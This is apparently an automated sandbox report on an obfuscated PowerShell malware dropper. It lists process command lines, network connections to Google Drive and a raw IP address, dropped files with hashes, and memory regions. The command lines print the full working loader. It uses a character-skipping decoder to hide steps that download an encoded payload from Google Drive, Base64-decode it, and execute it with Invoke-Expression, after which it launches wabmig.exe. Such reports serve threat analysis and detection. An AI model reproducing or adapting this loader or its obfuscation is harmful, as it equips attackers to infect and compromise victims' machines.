F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/2788-4-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp
memory/2788-5-0x000000001B560000-0x000000001B842000-memory.dmp
memory/2788-6-0x0000000001E10000-0x0000000001E18000-memory.dmp
memory/2788-7-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2788-8-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2788-9-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2788-10-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2788-11-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2788-13-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YOFMSRZSZEZA5Z8HHUV8.temp
| MD5 | 237f049dca34c0d068a6a5e13c5eede7 |
| SHA1 | 98b26cb639d69e94a057c8f818dd095445989865 |
| SHA256 | e053ab953eb13bc51c9b9b3c8d1cd101b7a529617ba15aa51315468529f1096b |
| SHA512 | 2de1c645d5c7d8677d98747707d674af6da50aea646cf45f226de0c766b1bae7aaaf67cda27c0c01bba016c75ab356721ec1fe631c9962d6d2b8eee1b5159517 |
memory/2788-17-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp
C:\Users\Admin\AppData\Roaming\Fejres.Ind
| MD5 | 14838f971ce22130c51b9a7cc01b590a |
| SHA1 | e368099b26f7b1778b784f1057daee1ac1f0dcd8 |
| SHA256 | c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373 |
| SHA512 | 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026 |
memory/2788-19-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/3068-20-0x0000000006650000-0x00000000098A7000-memory.dmp
memory/3032-21-0x0000000000CA0000-0x0000000003EF7000-memory.dmp
memory/3032-44-0x0000000000400000-0x0000000000581000-memory.dmp
memory/3032-45-0x0000000000CA0000-0x0000000003EF7000-memory.dmp
memory/2788-46-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |